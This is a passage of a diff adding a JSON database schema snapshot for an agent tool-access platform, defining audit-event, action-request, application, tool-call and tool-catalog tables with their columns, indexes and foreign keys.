+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
